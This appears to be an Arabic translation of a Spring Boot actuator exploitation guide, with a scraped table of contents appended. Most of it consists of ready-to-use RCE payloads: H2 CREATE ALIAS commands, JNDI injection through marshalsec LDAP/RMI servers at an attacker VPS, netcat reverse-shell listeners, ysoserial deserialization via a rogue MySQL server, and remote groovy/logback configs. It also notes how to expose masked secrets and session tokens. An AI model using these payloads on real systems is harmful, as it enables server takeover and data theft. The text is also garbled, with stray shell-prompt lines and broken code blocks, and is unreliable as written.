java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
الخطوة الخامسة: الاستماع لمنفذ الصدفة العكسية

عادةً ما يتم استخدام nc للاستماع على منفذ، انتظارًا للصدفة العكسية.```bash nc -lvp 443

root@kitploit:~
##### الخطوة السادسة: إرسال الحمولة الخبيثة

قم بتعديل عنوان الهدف وعنوان RMI والمنفذ والمعلومات الأخرى في البرنامج النصي [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) وفقًا للوضع الفعلي، ثم قم بتشغيله على الخادم الذي تتحكم فيه.



#### مبدأ الثغرة:

1. استخدام Jolokia لاستدعاء createJNDIRealm لإنشاء JNDIRealm
2. تعيين عنوان connectionURL على أنه عنوان URL لخدمة RMI
3. تعيين contextFactory على أنه RegistryContextFactory
4. إيقاف Realm
5. بدء Realm لتشغيل حقن JNDI في عنوان RMI المحدد، مما يسبب ثغرة RCE



#### تحليل الثغرة:

[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)



#### بيئة الثغرة:

[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)

الوصول العادي:```
http://127.0.0.1:9094/env

0x06: إعادة تشغيل استعلام قاعدة بيانات h2 RCE

شروط الاستغلال:

  • يمكن إرسال طلب POST إلى واجهة /env لتحديد الخصائص
  • يمكن إرسال طلب POST إلى واجهة /restart لإعادة تشغيل التطبيق
  • وجود اعتماد com.h2database.h2 (الإصدار المطلوب غير معروف حاليًا)

طريقة الاستغلال:

الخطوة الأولى: تعيين الخاصية spring.datasource.hikari.connection-test-query

⚠️ يجب تغيير اسم طريقة 'T5' في الحمولة أدناه بعد كل تنفيذ أمر (مثل T6) ليتم إنشاؤها واستخدامها مرة أخرى، وإلا فلن يتم تشغيل الثغرة عند إعادة تشغيل التطبيق في المرة القادمة

spring 1.x (تنفيذ الأوامر بدون رد)``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

root@kitploit:~
spring 2.x(تنفيذ الأوامر بدون صدى)```
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
الخطوة الثانية: إعادة تشغيل التطبيق

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/restart
Content-Type: application/json

مبدأ الثغرة:

  1. يتم تعيين الخاصية spring.datasource.hikari.connection-test-query إلى عبارة SQL خبيثة CREATE ALIAS لإنشاء دالة مخصصة.
  2. تتوافق هذه الخاصية مع إعداد connectionTestQuery لمجموعة اتصال قاعدة بيانات HikariCP، الذي يحدد عبارة SQL يتم تنفيذها قبل إنشاء اتصال قاعدة بيانات جديد.
  3. إعادة تشغيل التطبيق (restart) سيؤدي إلى إنشاء اتصال قاعدة بيانات جديد.
  4. إذا لم يتم تنفيذ الدالة المخصصة في عبارة SQL من قبل، فسيتم تنفيذ الدالة المخصصة، مما يؤدي إلى ثغرة RCE.

تحليل الثغرة:

remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

بيئة الثغرة:

repository/springboot-h2-database-rce

الوصول العادي:``` http://127.0.0.1:9096/actuator/env

root@kitploit:~
### 0x07: استغلال JNDI RCE عبر وحدة تحكم قاعدة بيانات H2

#### شروط الاستغلال:

- وجود تبعية `com.h2database.h2` (إصدار غير معروف حتى الآن)
- تفعيل وحدة تحكم h2 في تكوين Spring `spring.h2.console.enabled=true`
- الهدف يمكنه إرسال طلبات إلى خادم المهاجم (يمكن للطلبات الوصول إلى الشبكة الخارجية)
- حقن JNDI يتأثر بإصدار JDK على الهدف، jdk < 6u201/7u191/8u182/11.0.1 (باستخدام LDAP)

#### طريقة الاستغلال:

##### الخطوة الأولى: الوصول إلى المسار للحصول على jsessionid

قم بالوصول مباشرة إلى المسار الافتراضي لوحدة تحكم h2 المفعّلة على الهدف `/h2-console`، سيعيد التوجيه إلى الصفحة `/h2-console/login.jsp?jsessionid=xxxxxx`، سجل القيمة الفعلية لـ `jsessionid=xxxxxx`.

##### الخطوة الثانية: تحضير كود Java المراد تنفيذه

اكتب [مثال كود Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) محسّن لعكس الصدفة `JNDIObject.java`،

قم بتجميعه بطريقة متوافقة مع إصدارات JDK القديمة:```bash
javac -source 1.5 -target 1.5 JNDIObject.java

ثم انسخ ملف JNDIObject.class المُنشأ إلى الدليل الجذر لموقع الويب في الخطوة 2.

الخطوة الثالثة: استضافة ملف الفئة

على جهاز VPS الذي تتحكم فيه، قم بتشغيل خادم HTTP بسيط، واستخدم منافذ خدمة HTTP الشائعة (80، 443) قدر الإمكان.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
انسخ ملفات class التي تم تجميعها في **الخطوة الثانية** إلى الدليل الجذر لخادم HTTP.



##### الخطوة الرابعة: إعداد خدمة ldap الخبيثة

قم بتنزيل [marshalsec](https://github.com/mbechler/marshalsec) واستخدم الأمر التالي لإعداد خدمة ldap المقابلة:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
الخطوة الخامسة: الاستماع لمنفذ الصدفة العكسية

بشكل عام، استخدم nc للاستماع على المنفذ، وانتظر الصدفة العكسية```bash nc -lv 443

root@kitploit:~
##### الخطوة السادسة: إرسال الحزمة لتفعيل حقن JNDI

استنادًا إلى الوضع الفعلي، استبدل `jsessionid=xxxxxx` و `www.example.com` و `ldap://your-vps-ip:1389/JNDIObject` في البيانات أدناه.```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

تحليل الثغرة:

root@kitploit:~
[Spring Boot + حقن JNDI في قاعدة بيانات H2](https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ)

بيئة الثغرة:

repository/springboot-h2-database-rce

الوصول العادي:``` http://127.0.0.1:9096/h2-console

root@kitploit:~
### 0x08: تنفيذ الأوامر عن بُعد (RCE) عبر إلغاء تسلسل MySQL JDBC

#### شروط الاستغلال:

- يمكن إرسال طلب POST إلى واجهة `/env` لتحديد الخصائص
- يمكن إرسال طلب POST إلى واجهة `/refresh` لتحديث التهيئة (وجود تبعية `spring-boot-starter-actuator`)
- وجود تبعية `mysql-connector-java` في البيئة المستهدفة
- يمكن للهدف إرسال طلبات إلى خادم المهاجم (يجب أن تكون الطلبات قادرة على الخروج إلى الشبكة الخارجية)

#### طريقة الاستغلال:

##### الخطوة الأولى: فحص تبعيات البيئة

أرسل طلب GET إلى `/env` أو `/actuator/env`، وابحث في متغيرات البيئة (classpath) عن وجود كلمة `mysql-connector-java`، وسجّل رقم الإصدار (5.x أو 8.x).

ابحث ولاحظ ما إذا كانت متغيرات البيئة تحتوي على تبعيات أدوات إلغاء التسلسل الشائعة، مثل `commons-collections` أو `Jdk7u21` أو `Jdk8u20` إلخ.

ابحث عن كلمة `spring.datasource.url`، وسجّل قيمة `value` الخاصة بها، لاستعادة قيمة JDBC URL الطبيعية لاحقًا.

##### الخطوة الثانية: إعداد خادم MySQL وهمي ضار

قم بتشغيل البرنامج النصي [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) على الخادم الذي تتحكم فيه، واستخدم [ysoserial](https://github.com/frohoff/ysoserial) لتخصيص الأمر المراد تنفيذه:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

قم بإنشاء ملف الحمولة النافعة (payload) لتفريغ التسلسل payload.ser في نفس الدليل الذي يوجد به البرنامج النصي، لاستخدامه بواسطة البرنامج النصي.

الخطوة الثالثة: تعيين خاصية spring.datasource.url

⚠️ قد يؤدي تعديل هذه الخاصية إلى تعطيل جميع خدمات قاعدة البيانات العادية للموقع مؤقتًا، مما يؤثر على الأعمال. يرجى التصرف بحذر!

الإصدار 5.x من mysql-connector-java يحدد قيمة الخاصية على النحو التالي:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

root@kitploit:~
إصدار mysql-connector-java 8.x يقوم بتعيين **قيمة الخاصية** إلى:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}
الخطوة الرابعة: تحديث التكوين

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/refresh
Content-Type: application/json

الخطوة الخامسة: تشغيل استعلام قاعدة البيانات

حاول الوصول إلى واجهة استعلام قاعدة البيانات المعروفة للموقع، على سبيل المثال: /product/list، أو ابحث عن طرق أخرى لتشغيل استعلام قاعدة البيانات على الموقع الأصلي بشكل نشط، ثم سيتم تشغيل الثغرة الأمنية.

الخطوة السادسة: استعادة عنوان jdbc url الطبيعي

بعد الانتهاء من استغلال ثغرة إلغاء التسلسل، استخدم طريقة الخطوة الثالثة لاستعادة قيمة value الأصلية لـ spring.datasource.url المسجلة في الخطوة الأولى.

مبدأ الثغرة الأمنية:

  1. تم تعيين خاصية spring.datasource.url إلى عنوان mysql jdbc url ضار خارجي
  2. بعد التحديث (refresh)، تم تعيين قيمة خاصية spring.datasource.url جديدة
  3. عندما يقوم الموقع بعمليات مثل استعلام قاعدة البيانات، سيحاول استخدام mysql jdbc url الضار لإنشاء اتصال قاعدة بيانات جديد
  4. ثم سيقوم خادم mysql الضار بإرجاع بيانات الحمولة (payload) لإلغاء التسلسل في المرحلة المناسبة من إنشاء الاتصال
  5. ثم سيقوم mysql-connector-java الذي يعتمد عليه الهدف بإلغاء تسلسل الأداة (gadget) المُعدة، مما يؤدي إلى ثغرة RCE.

تحليل الثغرة الأمنية:

New-Exploit-Technique-In-Java-Deserialization-Attack

بيئة الثغرة الأمنية:

يجب تكوين spring.datasource.url و spring.datasource.username و spring.datasource.password في application.properties لضمان الاتصال بقاعدة بيانات mysql بشكل طبيعي، وإلا فسيحدث خطأ عند بدء التشغيل ويتم الخروج.

repository/springboot-mysql-jdbc-rce

الوصول العادي:``` http://127.0.0.1:9097/actuator/env

root@kitploit:~
بعد إرسال payload، يتم تشغيل الثغرة الأمنية:```
http://127.0.0.1:9097/product/list

0x09: إعادة تشغيل logging.config logback JNDI RCE

شروط الاستغلال:

  • يمكن إرسال طلب POST إلى واجهة /env للموقع المستهدف لتعيين الخصائص
  • يمكن إرسال طلب POST إلى واجهة /restart للموقع المستهدف لإعادة تشغيل التطبيق
  • حقن JNDI العادي يتأثر بإصدار JDK الهدف، حيث يكون jdk < 6u201/7u191/8u182/11.0.1 (LDAP)، ولكن البيئات ذات الصلة يمكن تجاوزها
  • ⚠️ يجب أن يكون الهدف قادرًا على طلب خادم HTTP الخاص بالمهاجم (يجب أن تكون الطلبات قادرة على الوصول إلى الشبكة الخارجية)، وإلا فإن إعادة التشغيل ستؤدي إلى خروج غير طبيعي للبرنامج
  • ⚠️ إذا قام خادم HTTP بإرجاع ملف يحتوي على بناء جملة XML غير صحيح، فقد يؤدي ذلك إلى خروج غير طبيعي للبرنامج
  • ⚠️ يجب أن يقوم الكائن الذي يعيده خدمة JNDI بتنفيذ واجهة javax.naming.spi.ObjectFactory، وإلا فإن إعادة التشغيل ستؤدي إلى خروج غير طبيعي للبرنامج

طريقة الاستغلال:

الخطوة الأولى: استضافة ملف xml

قم بتشغيل خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، ويفضل استخدام منافذ خدمة HTTP شائعة (80، 443)```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
ضع الملف الذي ينتهي بـ `xml`  `example.xml` في الدليل الجذر، المحتوى الفعلي يجب تحديده وفقًا لخدمة JNDI المستخدمة في الخطوة 2:```xml
<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
الخطوة الثانية: استضافة خدمة ldap الخبيثة والكود

ارجع إلى المقال، قم بتعديل JNDIExploit وتشغيله (يمكن أيضًا استخدام طرق أخرى):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

root@kitploit:~
##### الخطوة الثالثة: ضبط خاصية logging.config

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

root@kitploit:~
##### الخطوة الرابعة: إعادة تشغيل التطبيق

spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x``` POST /actuator/restart Content-Type: application/json

root@kitploit:~
#### مبدأ الثغرة:

1. يقوم الجهاز المستهدف بتعيين عنوان URL لملف تكوين سجل logback عبر خاصية logging.config
2. بعد إعادة تشغيل التطبيق (restart)، سيطلب البرنامج عنوان URL للحصول على محتوى ملف XML ضار
3. يستخدم الجهاز المستهدف saxParser.parse لتحليل ملف XML (وهذا يؤدي إلى ثغرة XXE)
4. في ملف XML، باستخدام علامة `insertFormJNDI` من تبعية `logback`، يتم تعيين عنوان خادم JNDI خارجي
5. يطلب الجهاز المستهدف خادم JNDI ضار، مما يؤدي إلى حقن JNDI وإحداث ثغرة RCE



#### تحليل الثغرة:

​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)

​	https://landgrey.me/blog/21/



#### بيئة الثغرة:

[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)

الوصول العادي:```
http://127.0.0.1:9098/actuator/env

0x0A: استغلال RCE لـ restart logging.config groovy

شروط الاستغلال:

  • يمكن إرسال طلب POST إلى واجهة /env على الموقع الهدف لتعيين الخصائص
  • يمكن إرسال طلب POST إلى واجهة /restart على الموقع الهدف لإعادة تشغيل التطبيق
  • ⚠️ يجب أن يتمكن الهدف من إرسال طلبات إلى خادم HTTP الخاص بالمهاجم (يمكن الطلب الخروج إلى الشبكة الخارجية)، وإلا فإن إعادة التشغيل ستؤدي إلى خروج غير طبيعي للبرنامج
  • ⚠️ إذا قام خادم HTTP بإرجاع ملف يحتوي على بناء جملة groovy معيب، فسيؤدي ذلك إلى خروج غير طبيعي للبرنامج
  • ⚠️ يجب أن يحتوي البيئة على تبعية groovy، وإلا فإن إعادة التشغيل ستؤدي إلى خروج غير طبيعي للبرنامج

طريقة الاستغلال:

الخطوة الأولى: استضافة ملف groovy

قم بتشغيل خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، واستخدم منافذ خدمات HTTP الشائعة (80، 443) قدر الإمكان.```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
ضع في الدليل الجذر ملفًا باسم `example.groovy` ينتهي بـ `groovy`، محتواه هو كود groovy الذي سيتم تنفيذه، على سبيل المثال:```xml
Runtime.getRuntime().exec("open -a Calculator")

الخطوة الثانية: تعيين خاصية logging.config

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
الخطوة الثالثة: إعادة تشغيل التطبيق

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/restart
Content-Type: application/json

مبدأ الثغرة:

  1. يقوم الجهاز الهدف بتعيين عنوان URL لملف تكوين السجلات logback عبر خاصية logging.config
  2. بعد إعادة تشغيل التطبيق (restart)، يقوم البرنامج بطلب عنوان URL المحدد
  3. في ملف الكود ch.qos.logback.classic.util.ContextInitializer.java الخاص بمكون logback-classic، يتم التحقق مما إذا كان عنوان url ينتهي بـ groovy
  4. إذا كان عنوان url ينتهي بـ groovy، فسيتم في النهاية تنفيذ كود groovy الموجود في محتوى الملف، مما يؤدي إلى ثغرة تنفيذ الأوامر (RCE)

بيئة الثغرة:

repository/springboot-restart-rce

الوصول العادي:``` http://127.0.0.1:9098/actuator/env

root@kitploit:~
### 0x0B:restart spring.main.sources groovy RCE

#### شروط الاستغلال:

- يمكن إرسال طلب POST إلى واجهة `/env` للموقع المستهدف لتعيين الخصائص
- يمكن إرسال طلب POST إلى واجهة `/restart` للموقع المستهدف لإعادة تشغيل التطبيق
- ⚠️ يجب أن يتمكن الهدف من إرسال طلبات إلى خادم HTTP الخاص بالمهاجم (يجب أن تكون الطلبات قادرة على الوصول إلى الإنترنت الخارجي)، وإلا فإن إعادة التشغيل ستؤدي إلى خروج غير طبيعي للبرنامج
- ⚠️ إذا أعاد خادم HTTP ملفًا يحتوي على بناء جملة groovy غير صحيح، فسيؤدي ذلك إلى خروج غير طبيعي للبرنامج
- ⚠️ يجب أن يكون هناك اعتماد على groovy في البيئة، وإلا سيؤدي ذلك إلى خروج غير طبيعي للبرنامج

#### طريقة الاستغلال:

##### الخطوة الأولى: استضافة ملف groovy

على جهاز VPS الذي تتحكم فيه، قم بتشغيل خادم HTTP بسيط، واستخدم منافذ HTTP الشائعة قدر الإمكان (80، 443)```bash
# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

ضع في الدليل الجذر ملف example.groovy ينتهي بـ groovy، محتواه هو كود groovy الذي سيتم تنفيذه، على سبيل المثال:```xml Runtime.getRuntime().exec("open -a Calculator")

root@kitploit:~
##### الخطوة الثانية: تعيين خاصية spring.main.sources

spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/example.groovy

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

root@kitploit:~
##### الخطوة الثالثة: إعادة تشغيل التطبيق

spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x``` POST /actuator/restart Content-Type: application/json

root@kitploit:~
#### مبدأ الثغرة:

1. يمكن للجهاز الهدف تعيين عنوان URL لمصادر إضافية لإنشاء ApplicationContext عبر خاصية spring.main.sources
2. بعد إعادة تشغيل التطبيق (restart)، سيطلب البرنامج عنوان URL المحدد
3. في مكون `spring-boot`، يتحقق المنطق البرمجي في ملف `org.springframework.boot.BeanDefinitionLoader.java` مما إذا كان عنوان url ينتهي بـ `.groovy`
4. إذا كان عنوان url ينتهي بـ `.groovy`، فسيتم تنفيذ كود groovy داخل محتوى الملف، مما يؤدي إلى ثغرة RCE

#### بيئة الثغرة:

[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)

الوصول العادي:```
http://127.0.0.1:9098/actuator/env

0x0C:restart spring.datasource.data h2 database RCE

شروط الاستغلال:

  • يمكن إرسال طلب POST إلى نقطة /env على الموقع المستهدف لتعيين الخصائص
  • يمكن إرسال طلب POST إلى نقطة /restart على الموقع المستهدف لإعادة تشغيل التطبيق
  • يجب أن تتواجد تبعيات h2database و spring-boot-starter-data-jpa في البيئة
  • ⚠️ يجب أن يتمكن الهدف من طلب خادم HTTP الخاص بالمهاجم (يجب أن يكون الطلب قادراً على الخروج إلى الإنترنت)، وإلا فإن إعادة التشغيل ستؤدي إلى خروج البرنامج بشكل غير طبيعي
  • ⚠️ إذا قام خادم HTTP بإرجاع ملف يحتوي على بناء جملة SQL غير طبيعي لـ h2، فقد يؤدي ذلك إلى خروج البرنامج بشكل غير طبيعي

طريقة الاستغلال:

الخطوة 1: استضافة ملف SQL

قم بتشغيل خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، واستخدم منافذ خدمات HTTP الشائعة إن أمكن (80، 443)```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

root@kitploit:~
في الدليل الجذر، ضع ملفًا بأي اسم، محتواه هو كود h2 sql الذي يحتاج إلى التنفيذ، على سبيل المثال:

> ⚠️ طريقة 'T5' في الـ payload أدناه يمكن تنفيذها مرة واحدة فقط (restart)؛ يجب تغيير اسم الطريقة (مثل T6) وتعيين عنوان URL جديد لـ sql في إعادة التشغيل التالية، وإلا فإن إعادة التشغيل الثانية للتطبيق ستؤدي إلى خروج غير طبيعي للبرنامج.```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
الخطوة 2: تعيين خاصية spring.datasource.data

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

root@kitploit:~
spring 2.x```
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
الخطوة الثالثة: إعادة تشغيل التطبيق

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

root@kitploit:~
spring 2.x```
POST /actuator/restart
Content-Type: application/json

مبدأ الثغرة:

  1. يمكن للجهاز الهدف تعيين عنوان URL لملف SQL الخاص بـ JDBC DML عبر خاصية spring.datasource.data.
  2. بعد إعادة تشغيل التطبيق (restart)، سيقوم البرنامج بطلب عنوان URL الذي تم تعيينه.
  3. في منطق الكود للملف org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java داخل مكون spring-boot-autoconfigure، يتم استخدام طريقة runScripts لتنفيذ كود SQL الخاص بقاعدة بيانات h2 من محتوى عنوان URL المطلوب، مما يؤدي إلى ثغرة RCE.

بيئة الثغرة:

repository/springboot-restart-rce

الوصول العادي:``` http://127.0.0.1:9098/actuator/env

root@kitploit:~
تنزيل الأداة
  • الخطوة الثانية: استخدام nc لمراقبة طلب HTTP
  • الخطوة الثالثة: تعيين خاصية eureka.client.serviceUrl.defaultZone
  • الخطوة الرابعة: تحديث التكوين
  • الخطوة الخامسة: فك تشفير قيمة الخاصية
  • 0x05: الحصول على نص كلمة المرور المخفية بعلامات النجمة (الطريقة الثالثة)
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: العثور على اسم الخاصية المطلوب الحصول عليها
      • الخطوة الثانية: استخدام nc لمراقبة طلب HTTP
      • الخطوة الثالثة: تشغيل طلب HTTP خارجي
      • الخطوة الرابعة: تحديث التكوين
  • 0x06: الحصول على نص كلمة المرور المخفية بعلامات النجمة (الطريقة الرابعة)
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: العثور على اسم الخاصية المطلوب الحصول عليها
      • الخطوة الثانية: تنزيل معلومات كومة JVM
      • الخطوة الثالثة: استخدام MAT للحصول على نص كلمة المرور من كومة JVM
  • 0x03: eureka xstream deserialization RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: إعداد موقع يستجيب بحمولة XStream ضارة
      • الخطوة الثانية: مراقبة منفذ shell العكسي
      • الخطوة الثالثة: تعيين خاصية eureka.client.serviceUrl.defaultZone
      • الخطوة الرابعة: تحديث التكوين
    • مبدأ الثغرة:
    • تحليل الثغرة:
    • بيئة الثغرة:
  • 0x04: jolokia logback JNDI RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: عرض MBeans الموجودة
      • الخطوة الثانية: استضافة ملف xml
      • الخطوة الثالثة: تحضير كود Java المراد تنفيذه
      • الخطوة الرابعة: إعداد خدمة ldap ضارة
      • الخطوة الخامسة: مراقبة منفذ shell العكسي
      • الخطوة السادسة: تحميل ملف تكوين السجلات من عنوان URL خارجي
    • مبدأ الثغرة:
    • تحليل الثغرة:
    • بيئة الثغرة:
  • 0x05: jolokia Realm JNDI RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: عرض MBeans الموجودة
      • الخطوة الثانية: تحضير كود Java المراد تنفيذه
      • الخطوة الثالثة: استضافة ملف class
      • الخطوة الرابعة: إعداد خدمة rmi ضارة
      • الخطوة الخامسة: مراقبة منفذ shell العكسي
      • الخطوة السادسة: إرسال حمولة ضارة
    • مبدأ الثغرة:
    • تحليل الثغرة:
    • بيئة الثغرة:
  • 0x06: restart h2 database query RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: تعيين خاصية spring.datasource.hikari.connection-test-query
      • الخطوة الثانية: إعادة تشغيل التطبيق
    • مبدأ الثغرة:
    • تحليل الثغرة:
    • بيئة الثغرة:
  • 0x07: h2 database console JNDI RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: زيارة التوجيه للحصول على jsessionid
      • الخطوة الثانية: تحضير كود Java المراد تنفيذه
      • الخطوة الثالثة: استضافة ملف class
      • الخطوة الرابعة: إعداد خدمة ldap ضارة
      • الخطوة الخامسة: مراقبة منفذ shell العكسي
      • الخطوة السادسة: إرسال حزمة لتشغيل حقن JNDI
    • تحليل الثغرة:
    • بيئة الثغرة:
  • 0x08: mysql jdbc deserialization RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: عرض تبعيات البيئة
      • الخطوة الثانية: إعداد خادم mysql rogue ضار
      • الخطوة الثالثة: تعيين خاصية spring.datasource.url
      • الخطوة الرابعة: تحديث التكوين
      • الخطوة الخامسة: تشغيل استعلام قاعدة البيانات
      • الخطوة السادسة: استعادة عنوان jdbc الطبيعي
    • مبدأ الثغرة:
    • تحليل الثغرة:
    • بيئة الثغرة:
  • 0x09: restart logging.config logback JNDI RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: استضافة ملف xml
      • الخطوة الثانية: استضافة خدمة ldap ضارة والكود
      • الخطوة الثالثة: تعيين خاصية logging.config
      • الخطوة الرابعة: إعادة تشغيل التطبيق
    • مبدأ الثغرة:
    • تحليل الثغرة:
    • بيئة الثغرة:
  • 0x0A: restart logging.config groovy RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: استضافة ملف groovy
      • الخطوة الثانية: تعيين خاصية logging.config
      • الخطوة الثالثة: إعادة تشغيل التطبيق
    • مبدأ الثغرة:
    • بيئة الثغرة:
  • 0x0B: restart spring.main.sources groovy RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: استضافة ملف groovy
      • الخطوة الثانية: تعيين خاصية spring.main.sources
      • الخطوة الثالثة: إعادة تشغيل التطبيق
    • مبدأ الثغرة:
    • بيئة الثغرة:
  • 0x0C: restart spring.datasource.data h2 database RCE
    • شروط الاستغلال:
    • طريقة الاستغلال:
      • الخطوة الأولى: استضافة ملف sql
      • الخطوة الثانية: تعيين خاصية spring.datasource.data
      • الخطوة الثالثة: إعادة تشغيل التطبيق
    • مبدأ الثغرة:
    • بيئة الثغرة:
  • spring-boot-dependencies
    spring-cloud-dependenciesspring-cloud-dependencies
    الإصدار الكبير لـ Spring Cloudإصدار Spring Boot
    Angelمتوافق مع Spring Boot 1.2.x
    Brixtonمتوافق مع Spring Boot 1.3.x و 1.4.x
    Camdenمتوافق مع Spring Boot 1.4.x و 1.5.x
    Dalstonمتوافق مع Spring Boot 1.5.x، غير متوافق مع 2.0.x
    Edgwareمتوافق مع Spring Boot 1.5.x، غير متوافق مع 2.0.x
    Finchleyمتوافق مع Spring Boot 2.0.x، غير متوافق مع 1.5.x
    Greenwichمتوافق مع Spring Boot 2.1.x
    Hoxtonمتوافق مع Spring Boot 2.2.x
    إصدار مرشح للإصدار
    RELEASEإصدار رسمي
    SRXإصدار رسمي (يصلح الأخطاء والثغرات ويصدر مرة أخرى)
  • /jolokia و /actuator/jolokia

    يمكن عبر واجهة /jolokia/list البحث عن MBeans القابلة للاستغلال، مما يؤدي بشكل غير مباشر إلى تشغيل ثغرات RCE ذات الصلة، والحصول على النص الواضح لمعلومات الخصوصية الهامة المخفاة بعلامات نجمية، إلخ.

  • /trace و /actuator/httptrace

    بعض معلومات تتبع طلبات http، قد يتم العثور فيها على تفاصيل معلومات طلبات بعض تطبيقات الشبكة الداخلية؛ بالإضافة إلى معلومات مثل cooki للمستخدمين الفعليين أو المسؤولين ورموز jwt token.